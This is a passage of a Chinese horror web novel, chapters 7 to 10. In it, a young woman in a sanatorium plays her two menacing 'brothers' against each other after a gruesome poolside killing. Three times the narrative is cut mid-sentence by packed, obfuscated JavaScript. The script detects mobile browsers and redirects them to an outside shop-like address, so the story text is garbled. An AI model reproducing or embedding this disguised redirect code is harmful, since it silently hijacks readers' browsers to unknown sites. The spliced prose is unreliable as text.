《[综恐]她的怪物哥哥们》 7. 第 7 章 亨利院长带着一群人匆匆赶到,米娅立刻收回视线,和其他瑟瑟发抖的老人挤做一堆。几个护士和护工领着她和老人们离开了原地。 走之前她回头看了一眼,那些医护人员正忙忙碌碌的封锁现场,放掉泳池里的血水以便打捞尸体。而亨利则面色难看的仰头看向尖顶小楼的方向,不知道在想些什么。 她转过头目露思索,亨利并不知道她和索恩的蝴蝶交易,但发生惨案后他第一时间看向的就是索恩的方向。 很显然亨利也在怀疑是索恩杀了花衬衫,这间接说明她之前的猜测是对的,索恩确实有和亨利抗衡的实力。 只要她按照计划顺利让他们打起来,疗养院就会变成那一池被鳗鱼搅浑的血水,到处都是她可以逃跑的漏洞。 但一旦计划失败她恐怕只会有三个下场。 一:被亨利关起来永不见天日。 二:今日的花衬衫就是她的下场 三:先被亨利关起来暗无天日,然后再被索恩抓出来大卸八块变成鱼饲料。 米娅越想心中越是沉重,第一次明白了何为刀尖上起舞。 * 夜里,米娅的卧室房门再次被亨利推开。 靠坐在床上的她将手中的棕色小瓶盖好,放到了一边的柜子上,做出一副刚服用过生命精华的模样。 亨利坐到床边,给了米娅一个拥抱。 “还好吗?” 一股浓烈的古龙水香气混合着淡淡腥臭的气味扑面而来,熏得米娅屏住了呼吸。 “之前有些恶心,现在已经好多了。” 不过也正因为亨利自身的气味太过浓烈,每时每刻都在影响他的嗅觉,所以他并没有察觉到米娅身上的气味非常干净,一点也不像刚服用过生命精华的样子。 他放开米娅,语气温柔得有些虚假:“别怕,一切有我在。” 米娅心里冷笑,面上却一副怯懦的模样,询问亨利后续的事情怎么样了。 亨利叹息:“死者就是今天和你发生争执的那个男人,他进入停车场没多久,保安就听到了他司机的尖叫。” “奇怪的是保安们赶到的时候只看见了被鲜血浸透的车后座和一些细小的人体组织碎片,并没有看见受害者。” “他们推断受害者应该是被凶手带走了,所以一直在停车场附近寻找线索,却没想到……只是短短十几分钟,受害者的尸体竟然就出现在了泳池里,还引来了那么多的鳗鱼。” “让病人们看见那种糟糕的画面,实在是我们疗养院的失职。” “而据那个司机所说,当时那个男人正和他同处于一辆车,但坐在驾驶位的他却没有察觉到任何不对劲,而当他闻到浓郁的血腥回头看的时候,悲剧就已经发生了。” “总之这件事处处都透着一股诡异,米娅你有什么想法吗?” 米娅的大脑飞速运转,按照亨利的描述,车后座很可能是第一凶杀现场,一个大活人就在后座被杀。前座的司机怎么可能一点动静都听不到? 司机的疑点实在太过显而易见,直接说不知道就装傻过头了。于是米娅小声道:“司机会不会撒谎了?也许他就是凶手?” 她本以为亨利的注意力也在那个司机身上,谁知却听亨利又把问题转回到了她身上。 “有这个可能。米娅还有其他想法吗?” 米娅心底闪过一丝古怪,总觉得亨利的关注点不太对劲,她狐疑的抬头看向亨利,结果却发现他也在深深的盯着她看。 虽然亨利很快就调整好了表情,但米娅还是精准的捕捉到了那一丝异样。 亨利刚才是在观察她的表情?难道他认为花衬衫的死和她有关? 米娅想通这一点后顿时心中一紧,对亨利的忌惮又多了三分。 他作为和原主相伴多年的哥哥,肯定知道原主的性格有多怯懦寡言,完全没有作案的心性和能力。 就算这几天她的性格有点变化,正常人也不可能因此就怀疑自己乖巧的妹妹和一起凶杀案有关吧? 结果亨利不仅怀疑了,还趁她没有防备的时候故意试探她。他对她的信任比她想象中的还要更低。 米娅知道那些监视自己的医护人员肯定已经将上午她和花衬衫发生的冲突告知了亨利,所以她沉默了几秒,小声提起了早上的事。 “他的死法……让我想起了那只蝴蝶。” 亨利再次发问:“你觉得这会是因为什么呢?” “我不知道。我觉得这应该是个巧合,但心里却莫名有些不安。” 米娅抬头看向亨利,湖绿色的眼眸满是害怕:“哥哥,你觉得呢?” 亨利知道自己的妹妹并不擅长掩饰自己的情绪,所以当他看清楚米娅眼中的害怕后,他顿时打消了那点小小的怀疑。自认为幽默的和米娅开了个玩笑。 “别担心,我也相信这只是个巧合,除非……凶手是个极端的动物保护组织成员,所以才会以这种方式惩罚那个男人。” “如果真的是这样的话,那以后我们出门可得小心点,以免因为踩死蚂蚁而上了那个凶手的谋杀名单。” 米娅艰难的扯了扯嘴角:“他离开前只和我发生了冲突,警察会来吗?他们会审问我吗?” 亨利十分淡定:“这点小事还用不着警察上门。” 米娅:“……那他的母亲知道了吗?她没有闹吗?” 亨利露出意味深长的微笑:“她不会知道的,永远不会。” 米娅和他对视了一秒,随后缓缓低下头,没有多说什么。 亨利满意的握住她的手:“好了,睡前还是别聊这么血腥的话题了,以免你晚上睡不着觉。我们还来聊一聊你今天的粗鲁行为吧。” 米娅疑惑的抬头,什么粗鲁行为? 亨利提醒:“就是你上午对着客人竖中指,还用石头砸人的粗鲁行为。” 米娅心中泛起腻味,她本来还以为亨利是来安慰自己的,结果没想到这个变态一点正常的兄妹亲情都没有。先是怀疑她,试探她,现在竟然还来搞兴师问罪。 她低下头掩饰住自己的表情,低声道:“我只是……只是太生气了。他们嘲笑我,还撕碎了我的蝴蝶,那是我好不容易才抓到的。” 亨利叹息:“我知道遇到这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866481|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事你肯定很委屈,但你要记住,你是侯爵的女儿,真正的蓝血贵族,无论你再怎么委屈都不该直接动手的,这太有失沃莫尔家的体面了。” “你应该直接来找我,我会帮你处理一切的。比如那个质疑你教养的哈珀女士……我有的是手段让她为此付出代价。” 他优雅的抬起米娅的手,低头在她的手背落下一吻。 “听哥哥的话,下一次遇到处理不了的人和事直接来找我好吗?” 米娅感受到那抹温热黏腻的触感,胃里顿时一阵翻涌,她强忍着抽回手的欲望,动作僵硬的点头。 亨利满意的捧起米娅的脸颊,在那柔软的脸蛋上落下一吻。 “晚安,我亲爱的妹妹。” 米娅绷着脸回吻亨利的侧脸,只觉得自己在吻一块腥臭发黏的烂肉。 “……晚安,我亲爱的哥哥。” 等到亨利离开,她立刻飞身下床冲进卫生间,哗啦啦的水流声持续了许久才停下。 * 凌晨一点,米娅虽然有些害怕,但为了计划还是如约来到了那栋尖顶小楼。 这里一如既往的漆黑寂静,昨晚坠落的木质栏杆依然散落在一楼,没有任何收拾的迹象。那股微妙的注视感再次袭上她的心头。 她以为索恩又在三楼往下偷看她,脚步僵硬了一瞬,但还是强忍着没有抬头,而是借着手机的微光绕开一楼的障碍物,径直来到三楼。 结果走廊空无一人,两侧的木门也是紧闭状态,整栋小楼空荡的毫无人气。 索恩不在这,那刚刚窥视她的又是谁? 是她紧张过度产生的错觉?还是这栋小楼内还藏着其他人?又或是……索恩本身有什么问题? 未知的恐惧让米娅忍不住焦躁,她想要立刻转身离开这栋诡异的小楼,但理智却将她牢牢的钉在了原地。 “索恩?你在吗?” 她迟疑的喊了两声,又走到最近的一间房间前敲了敲门。闹出来的动静很快就打破了小楼的寂静。 忽然,一声轻微的“咔哒”声从米娅的身后传来,吓得她立刻转身用手机照过去。就见走廊尽头那扇紧闭的房门悄无声息的敞开了。 她小心的走过去,却并没有直接进去,而是扒在门框边好似壁虎那样往房间内探头探脑。 这是一间很宽敞的空房间,里面什么都没有,窗户向外敞开,清冷的月光照进房间的一角,为老旧的木地板和墙壁披上一层银白的纱。 那些没有被月光照亮的地方则依然被黑暗所笼罩,光与暗一线之隔,将房间分割成两个世界。 米娅睁大眼睛仔细看了许久,才在房间最黑暗的角落隐约看见了一道模糊的人影轮廓。 她关闭手机以示友好,走进去将玻璃罐放在了月光下的地板上,美丽的翠绿色凤尾蝶在罐中翩跹起舞。 “你看,这是我今天抓到的蝴蝶,你喜欢吗?” 黑暗的角落传来低哑冷淡的声音:“我还以为你不会来了。” 米娅故作委屈的反问:“我当然会来,我们不是说好了吗?” “你知道我在说什么。” 8. 第 8 章 米娅隐约感觉到黑暗中有一道阴郁的审视正一点点扫过她裸露在外的每一寸肌肤。试图穿透她的皮囊,看进她鲜血淋漓的内里。 他在无声的诘问:她为什么还敢再次靠近,她到底想要什么?她到底想从他这里得到什么? 但就在这种高压之下,米娅心中的紧张却反而消散了几分,因为她忽然意识到白日里那血腥的一幕既不是礼物,也不是威胁,而是一道考验。而她……已经通过了考验。 于是她抬头直视过去,试探的询问:“那个人是你杀的吗?疗养院里有你的人?还是你用了什么特殊方法?你为什么要杀他?是因为他杀死了那只蝴蝶吗?” 索恩没有回应,米娅照例当他是默认了。 “我今晚确实很害怕,犹豫了很久要不要过来。然后我的哥哥来了,他询问了我早上的事,在知道我和那个人之间的冲突后,不仅没有安慰我,反而还指责我的行为太过粗鲁。” 她看着罐子里的蝴蝶,转而轻声说起了早上的事情,接着反问道:“你觉得我的行为粗鲁吗?” 索恩冷冷道:“他们辱骂你,你就应该割掉他们的舌头,而不是轻飘飘的竖起手指。” 米娅笑了:“你看,这就是我虽然害怕却依然要来找你的原因。我想要一个永远能站在我这边的哥哥,而不是一个一切以沃莫尔家族的荣耀为先的哥哥。” 她话音刚落,就感觉到那道阴郁的视线再次扫过她的脸,似乎在思考着什么。 米娅:“你为什么又不说话了,难道你想毁约吗?” 索恩的视线从她的身上移开,落在了那个玻璃罐上。 “你还没有把蝴蝶交给我。” “好。” 米娅只迟疑了一瞬,就拿起罐子踏入了那片黑暗,她在轮椅前站定,左手向前摸索着抓住了索恩的手。 那是一只触感冰凉,瘦得骨节突出的大手,它下意识想要抽离,却被更加用力握住,接着一个玻璃罐被放在了它的掌心上。 “那现在呢?” 索恩垂眸看去,那只蝴蝶正趴在玻璃罐底部,漂亮的翅膀开合了几下,微乎及微的震颤仿佛透过玻璃传入了他的掌心,带起微微的痒意。 他缓缓收拢五指,阴沉沉的视线紧盯着米娅湖绿色的眼眸,逐渐多了一丝尖锐的占有欲。 那些人的尖叫和咒骂依然在他耳边回荡,他本以为自己不会再有家人了,但现在……如果由他来选择家人,一切会不会就不一样了。 “哥哥……应该做些什么?” 米娅见目的达成,立刻开心的向索恩灌输自己的理念:“哥哥就是家人,而家人最重要的当然就是互相帮助,互相爱护,互相陪伴。” 索恩冷冷的反驳:“不,家人最重要的是不能背叛。” 米娅直接坐在了地板上,身前就是索恩的轮椅,她伸手拍了拍他的大腿,张口就来:“你放心,我肯定不会背叛你的。” 她说话的时候感觉到索恩的腿部绷紧,似乎很不习惯别人的触碰,但她故意装作不知道,毕竟肢体接触可以快速拉近两个人之间的距离。 随后她又说起了亨利看向尖顶小楼的事情,假惺惺的提醒:“你要小心,我哥哥可能已经开始怀疑你了。” 索恩伸手摸了摸她的脑袋:“不用担心,他对我造不成威胁。” 一股冷意在米娅的头顶蔓延开来,这远低于常人的体温瞬间让她回想起那些被泡的发白的残肢断臂。她下意识低头想躲,却又硬生生忍住了。 “是吗?那真是太好了。” 为了更快获取索恩的信任,米娅又搜肠刮肚的和他闲聊了许久,虽然大部分是她说,索恩听。但索恩的态度还是给了她不少信心。 就这么足足说了一个多小时,口干舌燥的她才终于起身告辞。 然而黑暗中却传来索恩低哑的询问:“你不给我晚安吻吗?” 米娅:??? 她离开的脚步一顿,转身迟疑的看着那模糊的人影轮廓。 “你希望我给你晚安吻吗?” 索恩没有回答,但米娅知道他在看着自己。她也知道自己现在需要做的就是尽快获取索恩的信任。如果一个晚安吻就能将他们之间的关系拉得更近,那么她没理由拒绝。 于是她缓缓走上前,弯下腰在漆黑人影的侧脸落下一吻。即使离得这么近,她依然看不清索恩的长相。 好在他身上没有任何让人作呕的气味,事实上他身上既没有洗发露、沐浴露残留的香气,也没有久病缠身的药味和病气。 她所能感受到的只有唇上那抹微微的凉意,好似吻上了深夜的一缕凉风。凉得没有任何人类的温度和气味,那是和亲吻亨利截然不同的感觉。 虽然对比之下这感觉并不赖,但米娅却有种自己不是在亲吻一个活人,而是在亲吻墙上的影子的错觉。 她心头划过一丝古怪,下意识嗅闻了一下,想要找出一些索恩是活人的证据。然而索恩却忽然侧过头避开了她的动作。 米娅回过神来,这才意识到自己的行为有些不妥。 “呃,抱歉……” 她想要后退拉开距离,结果一只冰凉的大手却按住了她的后颈,制止了她抬头后退的动作。接着一个冰凉的吻落在了她的侧脸,一触即离。 “晚安。” “……晚安。哥哥。” * 两天后,住院部大楼的画室内,米娅拿着画笔站在画架前,时不时看一眼窗外的阴雨绵绵。 这场雨已经从清晨持续到了下午,浓重的阴云遮蔽了光线,到处都是潮湿阴冷的水汽。某些隐蔽的角落里甚至悄无声息的长出了肮脏的菌斑。 米娅之前一直生活在四季分明的城市,很不适应疗养院终年潮湿阴冷的环境,只觉得那些霉菌正顺着呼吸不断深入她的肺部,随时都会穿透她的皮肤长出来。 因为光线昏暗,所以她将画室的灯光全部打开了。 她现在画的是自己前两天在草地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866482|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓蝴蝶的情形,不过视角却是从上往下的,将周围的建筑都画了进去,所以这其实还是三分之一的疗养院俯视图。 通过画室的窗户可以将大半个疗养院纵观眼底,她将脑中的疗养院布局图和窗外的建筑一一对应。以确保等到必要时刻,自己闭着眼睛都能走出这座阴森的疗养院。 也因为不是诚心想画画,所以她画得很随意,并没有任何精细的勾勒,只是大面积的色块堆叠成一个模糊的画面,不过倒是和此刻窗外的雨景很搭配,颇有种雾里看花的感觉。 而当这幅画接近尾声的时候,米娅看着画中的泳池沉思了片刻,又抬手给它添了几笔。 于是原本淡蓝的泳池变成了一片血海,惨白的残肢和乌黑滑腻的鳗鱼交织缠绕。成了模糊的色块中唯一清晰勾勒的画面。 随后米娅面无表情的放下画笔,一边用纸巾擦拭着手指上沾染的猩红颜料。一边漠然的在心中点评:很好,这才符合恐怖片的基调嘛。 “放开我!” “他来了,他又来找我了!” “我不要待在这,我没有疯,我说的都是真的,我要出院!我要出院!” 画室的门外传来了一阵尖锐的叫喊,米娅将手中的纸团扔到垃圾桶,打开门走出去查看。就见一个蓬头垢面的老头正被两个护工强行拖走。 这一层楼都是提供室内娱乐的活动室,因为外面下雨,所以此刻有不少老人聚集在这里,老头被拖走后,当即有人皱起了眉头。 几个熟知内情的老人安慰其他人不必惊慌。那个老头是个疯子,护工对他执行强制措施是为了大家的安全。 说起来疯老头也是个可怜人,他是希金斯灭门惨案唯一的幸存者。三年前那个庞大家族的其他成员在一夜之间全部惨死老宅,血流成河。 疯老头受到了巨大的精神打击,自那以后就一直疯疯癫癫的,活在对凶手的恐惧之下,再也没了安宁。 米娅仔细回忆了一下,发现原剧情中并没有这一段,不过众所周知,恐怖片里的疯子说的疯话未必都是假的。 所以秉承着有枣没枣打一杆子的想法,她还是悄悄跟了过去,想要和疯老头交流一下,如果能侥幸得知什么有用的信息那就是她赚了。 可惜那两名护工把疯老头关回病房后,就一直守在那里寸步不离。她根本没机会靠近。 米娅眼见周围路过的医护人员都在若有若无的盯着自己看,只能暗自记下了病房的位置,然后装作路过的模样转身离开,打算改天有空再来查探一二。 她绕了个远路再次回到了画室,准备将自己的画作带走销毁,以免吓到那些来画室的老人。谁知刚打开门,她就发现画室的灯已经全部熄灭,窗边的画架上空空如也,她的画不见了。 米娅疑惑的上前绕着画架走了一圈,又抬头扫视了一圈空荡的画室,这里除了她和一些苍白的石膏像外并没有其他人。 她离开前明明没有关灯,是谁进来关的灯,还拿走了她的画? 9. 第 9 章 米娅仔细回想了一下,确定自己的画并无任何不妥之处,亨利应该也没有变态到连她的画都要收集的程度。 接着又想着她的画技也就一般,应该没有人会拿走收藏吧?难道是画得太丑太惊悚,被人扔进垃圾桶了? 于是她走到垃圾桶边仔细看了看,里面很干净,除了她之前扔进去的几张沾有颜料的纸团外再无其他。 米娅低头沉思:难道……她一直都低估了自己的画技,其实她是个被埋没的绘画天才? 在她离开之后,一位品味高雅的老收藏家看见了她的画,顿时被惊得虎躯一震,连呼不可思议,然后激动的把她的惊世之作带回了病房装裱起来? 哈哈,如果真是这样的话,那她逃出去之后说不定可以靠卖画赚钱养活自己。满大街的喊吐刀乐,吐刀乐,全场一律都吐刀乐! 米娅被自己自恋的想法逗笑了一瞬,多日阴云密布的心情终于好了些许。 * 深夜来临,米娅再次去和好哥哥索恩联络感情的时候,还把丢画和疯老头这两件事当做话题说了出来。 黑暗中的索恩沉默片刻:“别人拿走你的画,你会觉得这是欣赏,为什么亨利拿走你的画,你却觉得他是变态?” 米娅坐在轮椅边嫌弃道:“这不一样,正常的兄妹相处是亲密无间、毫无秘密的。如果亨利想要我的画,大可以直接来找我要。如果他明知道那是我的东西,却选择偷偷摸摸的私藏,这就是心里有鬼,是猥琐的变态!” 她知道依照亨利的性格应该不会做这么多余的事情,她只是故意在索恩的面前败坏亨利的形象而已。 “我已经连续两天没见到亨利了,自从那次泳池血案之后他就一直很忙,其他人也很忙。虽然不用和他相处让我松了口气。但是……” “还记得我那天说的吗?亨利来到泳池后,第一反应是看向这栋楼。他肯定已经怀疑你了。我不知道他到底在忙些什么,但我心里总是有种莫名的不安。我真的很担心你。哥哥。” 米娅小声喊着哥哥,强调她和索恩才是一国的。 索恩语气平淡:“他伤不到我的。” “你确定吗?” 米娅没想到自己旁敲侧击了这么久,索恩的态度依然如此平淡,她不知道他到底是暗藏底牌还是太过傲慢,她只知道自己的时间真的不多了。 于是她干脆身子一歪,直接趴到了索恩的腿上,像是蜷缩在亲鸟羽翼下的幼鸟那样弱小可怜又无助。语气满是忧伤。 “我不是在质疑你,我只是很害怕,当亨利对我生出那种肮脏的心思之后,他就不再是我的哥哥了,现在你是我唯一的哥哥。” “我每晚都来找你,是因为除了你以外,我已经没有其他可以倾诉的家人了。我真的不希望失去你。” 索恩的双腿顿时紧绷如石头,那柔软的温度让他仿佛再次回到了被推到酷暑的烈日下暴晒的时候,皮肤被灼烧的剧痛不断袭来。 但他知道这只是他的错觉,他为自己重新选择的家人是如此的弱小,她根本无法伤害他分毫。他只是……不习惯这样的亲密接触而已。 上一次和他人肢体接触是什么时候?三年前?还是五年前?他好像已经记不清了。 这是他的妹妹,她在关心他…… 米娅等了许久都没等到索恩的回应,但她却能察觉到他正紧盯着她,平常阴郁冷淡的视线染上一丝诡异的专注。他像是第一天认识她一样扫视着她的全部。 “索恩?” 米娅抬头想要询问,却被索恩冰凉的大手扣住了后颈,被迫再次趴回了他的腿上。 “放心,你不会失去我的,我们约定好了要永远相伴。” 索恩抬手一下一下的抚摸米娅的黑发,刻意放柔的低哑嗓音好似毒蛇吐信,带着一股让人头皮发麻的压迫感。 米娅后颈起了一片鸡皮疙瘩,心里闪过不详的预感,总觉得有什么东西悄无声息的改变了。但她不敢起身,只能好似鹌鹑一样趴在索恩的腿上任由他抚摸。 * 离开那栋小楼后,米娅的脚步比之前沉重了许多,虽然她这几天一直在努力和索恩拉近关系,但是当他真的对她亲密起来后,她心里反而开始不自在起来。 或许是因为他异于常人的体温,或许是因为他冷酷乖僻的性格,又或是因为她到现在为止都从未看清过他的样子…… 总之索恩给她的感觉就像是一片泥泞黏稠的黑暗,越靠近他,越容易被黑暗吞没。 但如今箭在弦上,早就已经容不得她停下,她也绝不可能停下来。 米娅将那些软弱的情绪压回脑海深处,告诉自己现在最重要的不是思考索恩有多危险,而是该思考如何引导亨利和索恩打起来。 她熟练的躲开一楼的前台护士,蹑手蹑脚的走入的消防通道,心理和身体的双重疲惫让她打了个哈欠,只想快点上床休息。 然而就在她打开门的瞬间,明亮的灯光立刻顺着门缝倾泻而出,照亮了她的半边身子。 她离开前客厅的灯明明是关着的,为什么现在客厅的灯却是开着的?! 一股寒意瞬间席卷米娅的全身,她僵硬的抬头朝着前方看去,只见身穿白大褂的亨利就坐在沙发上面色阴沉的看着她,灰绿色的眼眸满是晦暗的阴影。 见米娅看过来,他忽然翘起唇角,笑得渗人又危险。 “米娅,我亲爱的妹妹,这么晚了,你去哪了?” 米娅强自镇定:“只是睡不着,去外面散散步而已。” “哦?是吗?” 亨利站起身,他收敛了笑意,像是恶狼一样死死盯着米娅。 “可我刚刚怎么看见你是从西边的那栋小楼里出来的?我记得我好像说过禁止靠近那里对吧?” 米娅后背一阵冷汗,立刻意识到亨利应该是通过卧室的露台看见她从那栋小楼出来的画面。 完了,人赃并获了。 她现在说自己只是天太黑不小心迷路了,亨利会相信吗? “说话!米娅!你为什么不说话?” 亨利彻底撕下那温文尔雅的假面,暴怒的扣住米娅的肩膀。 “告诉我,你去那里做什么?” 米娅的肩膀被掐得一阵刺痛,她也很想质问亨利大半夜的来找她做什么? 这该死的变态到底知不知道现在可是凌晨两点! 但她不敢,她只能迅速酝酿情绪,略带哭腔道:“我不是……我不想去的,是他……是那个人逼我的。” 亨利皱眉:“你这话是什么意思?” 米娅察觉到他的动作有些松懈,立刻捂脸痛哭着跑进客厅,趁机从他的钳制中挣脱出来。 接着她坐在地毯上,上半身趴在沙发上,尽量避免让亨利看见自己的表情。语气哽咽的说出了“真相”。 “我之前就和你说过他盯上我了,我没有说谎,他真的盯上我了。如果我不在约定的时间去见他,他就会杀了我。就像是杀死那个男人一样!” “还记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866483|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得那个护工跳楼死亡的当晚吗?你向我保证过你会保护我,索恩无法伤害我。” 亨利:“是的,我保证过。” 米娅抬头指向客厅的茶几,眼角是硬挤出的泪花:“但是等你走后,我去客厅想要喝水的时候却看见了一张纸条。它当时就在这里!” 亨利眼眸微动:“那张纸条是索恩写的,他让你晚上去见他,否则就杀了你?那么那个男人又是怎么一回事?” “他让我去为他抓一只蝴蝶,我抓了,后来那只蝴蝶被那个男人杀死了,所以我只好又去抓了一只,结果就看见泳池里……泳池里……” 米娅说到最后哽咽的无法出声,只能害怕的蜷缩成一团。 亨利面色微变,他已经完全相信了米娅的话,他走到沙发边,想要将米娅扶起来。 米娅立刻尖叫着躲开:“不要碰我!” 亨利此刻又变回了那个温柔耐心的哥哥,他没有因为米娅的拒绝而生气,反而是坐到沙发上,大手轻拍她颤抖的脊背,耐心的安抚她。 “他还让你做了些什么?他有没有碰你?做一些让你很不舒服的事?” 米娅动作一顿,意识到自己刚才的抗拒举动让亨利误会了,她本想说没有,但一想到亨利最看重的就是沃莫尔家族的荣耀和纯洁的血脉。于是她选择将谎言进行到底。 她没有承认,但也没有否认,只是将脸埋在臂弯沉默的啜泣。 亨利面色难看起来:“他碰你了?他对你做了什么?” 米娅这才慌忙解释:“他没有,他只是让我亲吻他,拥抱他,还……还喜欢让我趴在他的腿上,像是抚摸一只猫一样抚摸我的头发。然后让我陪他聊天。” “对了,他亲口承认那个男人就是他杀的。如果我不听话,他也会这么对我。他一个人根本无法做到这些,疗养院里肯定有他安插的人手。” “哥哥,我不是故意违抗你的,我知道你也是为了保护我,但是他实在是太可怕了,简直无处不在,我真的很害怕。” 亨利撩开米娅的头发,确定她细腻白皙的脖颈并没有任何痕迹以后,这才勉强恢复了温柔的语气。 “我知道,我都知道。这不是你的错,刚刚是我误会了。别担心,我会处理好的。我保证。” 米娅沉默着几秒,低声道:“哥哥,我累了,我现在只想洗个澡,然后好好睡一觉。” 亨利眼中闪过不悦,但到底没有多说什么。 可怜的米娅,她只是被那个怪物吓坏了。不过没关系,她很快就会对他恢复信任。 “好吧,你好好休息,记住,不要关灯。明天我会送你一件礼物,有了它,他就再也无法靠近你了。” 亨利在米娅的发顶落下一吻,随后转身快步离开。 殊不知就在他乘坐电梯离开的下一秒,走廊的灯光立刻闪烁了两下,那瞬间的黑暗中,似乎有一个模糊的人影轮廓静静的站在走廊的尽头,又在灯光亮起的瞬间凭空消失。 原本紧闭的窗户不知何时被打开了,被撕成几片的画纸在窗外飞舞。 若是米娅在这里就会发现这几片碎纸正是她之前丢失的那幅画,只不过在草地上奔跑的黑发女孩身边多了一道漆黑瘦长的人影。黑影牵着女孩的手,看上去亲密无间。 春光明媚的鲜艳色彩和那一抹浓烈的漆黑碰撞在一起,有一种怪诞的美。 可惜碎纸很快就落在了泥泞的草地上,被露水打湿,原本鲜艳的色彩逐渐融成浑浊的一团。再也看不出原貌。 10. 第 10 章 房间内一片压抑的寂静,米娅保持着趴伏的姿势等了许久,直到确定亨利已经离开后,她才站起身长舒了一口气,发现自己全身都被冷汗浸透了。 刚刚实在是太危险了,幸好她反应快,否则亨利绝不会放过她的。 虽然挑拨索恩和亨利的关系是她计划中最重要的一环,但她实在没想到事情的发展会这么迅速且猛烈。 她是亨利唯一的妹妹,他想延续沃莫尔家族的纯净血脉就必须保证她的生命安全。所以他会为了她和索恩对上吗? 他说的礼物又是指什么? 米娅刚思考了一会儿,就感觉到太阳穴一阵抽痛。她只能暂时放弃思考,拿上睡衣进了卫生间。 然而就在她关门的下一秒,卫生间的灯光忽然闪烁起来,黑暗和光明交替之际,她竟是看见用做隔断的塑料帘子后面藏着一道黑色的人影! 有人在帘子后面?! 米娅一惊,然而还不等她有其他动作,头顶闪烁的灯光就骤然熄灭,黑暗如潮水一般淹没了整个卫生间,紧接着一只冰凉的大手猛地扣住了她的脖颈,将她按在了门板上! 米娅吓得手中的衣服都掉在了地上,只觉得仿佛有一条冷血的蟒蛇正盘在她的脖颈上。不知什么时候就会突然收紧绞断她的脖子。而这远低于常人的体温也让她瞬间意识到了袭击者的身份。 “索恩?是你吗?你可以站起来了?真是太好了!不过……你为什么会在这里?咳咳,你这样让我很不舒服,能放开我吗?” 米娅一边故作淡定的尝试交流,一边抬手去拽脖子上的那只手,但是无论她怎么用力,对方都纹丝不动。 她又偷偷伸手想要去转动身后的门把手。结果另一只冰凉的大手立刻攥住了她的手腕,那恐怖的握力顿时让她痛呼出声。 她还以为自己的手腕会被直接捏断,好在对方的动作一顿,很快就收敛了力道。 米娅见状立刻再次呼痛。 “好痛,索恩你到底怎么了?快松手!” “索恩?哥哥?你到底是怎么了?” 然而这一次无论她怎么说,对方都没有一点反应,那道阴冷的视线如同蟒蛇的蛇信子一点点舔过她的身体。像是在估量着她的体型,思考着该如何把她吞吃入腹。 而当米娅也不出声之后,卫生间内顿时陷入死寂,她的心也因此逐渐沉入了谷底。 “你……都听到了?” 这话一出,米娅立刻感觉到掐住她脖子的大手加重了力道,窒息感迅速袭来。 黑暗中传来索恩冰冷的声音:“你背叛了我。” 浓重的危机感让米娅心脏剧烈跳动,恐惧和窒息感更是让她眼前发黑。周围的空气仿佛变成了黏稠的树脂,一层一层的堆积在她的身上,逐渐发硬凝固。 就连刚刚亨利暴怒的时候她都没有这么恐惧过,因为她知道亨利需要她活着,所以无论他多么生气他都不会杀她,而索恩不一样,他是真的会杀了她! “对不起……咳咳,我……不是故意那么说的。我只是不想再被关进……咳咳……禁闭室了。” 那只大手还在一点点加重力道,随着窒息感越来越强,米娅的呼吸变得急促,说话变成了一件困难的事情。但她的大脑却出乎寻常的清醒。脑海中再次浮现起之前的护工坠楼和血池残肢。 依照索恩狠辣的手段,他想要杀她应该早就拧断她的脖子了。所以她还有机会。她必须抓住机会! 米娅努力挤出声音为自己辩解,甚至都没察觉到自己已经哭了出来。 “你知道……禁闭室吗?每次我惹他生气……咳咳……就会被关进禁闭室,那里又小又黑,没有任何食物和水,甚至……感觉不到时间的流逝,仿佛被全世界给抛弃了。” “对不起……是我太过软弱,我不敢和他说……是我主动找的你。我只是不想再被关进去了……我会发疯的……我真的会发疯的……” 然而无论米娅如何解释都没有换来一丝回应,意识到这条路走不通后,她立刻改变策略,抬起手轻柔的搭在掐住自己脖子的那只大手上,用仅剩的力气哀求。 “如果……你恨我,可以割掉我的舌头,拜托……别杀我,我真的……不想死。” 索恩还是没有说话,他只是眼神阴冷的扫视着眼前这个撒谎成性的妹妹。 她面色苍白,唇瓣也毫无血色,汗湿的鬓发狼狈的黏在脸颊上,被泪水打湿的睫毛黏成一缕一缕。 明明正在生死边缘徘徊,但她湖绿色的眼眸却在泪水的洗涤下越发摄人心魄,强烈的求生欲好似火焰蓬勃燃烧。看上去就像是一朵正在逐渐枯萎却依然渴望阳光的野花。 “撒谎。” 索恩冷酷的评价让米娅的心脏紧缩了一瞬,还以为自己这次必死无疑,谁知那两只冰凉的大手却紧跟着松开了对她的桎梏。 米娅立刻咳嗽出声,腿一软坐在了地上,大量潮湿的空气随着呼吸涌入肺部。 